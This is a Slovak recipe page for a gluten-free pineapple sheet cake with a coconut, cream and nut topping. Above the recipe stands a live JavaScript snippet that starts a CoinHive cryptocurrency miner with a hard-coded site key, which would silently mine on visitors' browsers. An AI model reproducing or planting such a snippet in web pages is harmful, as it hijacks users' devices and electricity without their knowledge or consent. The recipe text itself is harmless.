

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 2 vajcia, 400 g múky (Promix PK, Schär, Jizerka), 220 g kryštálového cukru, 2 ML prášku do pečiva, 1 konzerva krájaného ananásu

Potrebujeme na polevu: 120 g masla, 400 ml sladkej smotany, 100 g strúhaného kokosu, 100 g kryštálového cukru, 50 g posekaných orechov

Postup: Vajcia vyšľaháme s cukrom, pridáme šťavu z ananásu, múku s práškom do pečiva. Vypracujeme hladké cesto, ktoré vylejeme na vymastený plech. Navrch poukladáme kúsky ananásu. Dáme piecť na 20 minút / 175°C.

Pripravíme polevu: Do hrnca nalejeme smotanu, pridáme maslo (necháme rozpustiť), kokos, orechy, cukor – necháme rozpustiť, miešame pokým príde do varu. Ešte teplý koláč potrieme touto polevou. Navrch môžeme nastrúhať čokoládu. Dáme vychladnúť.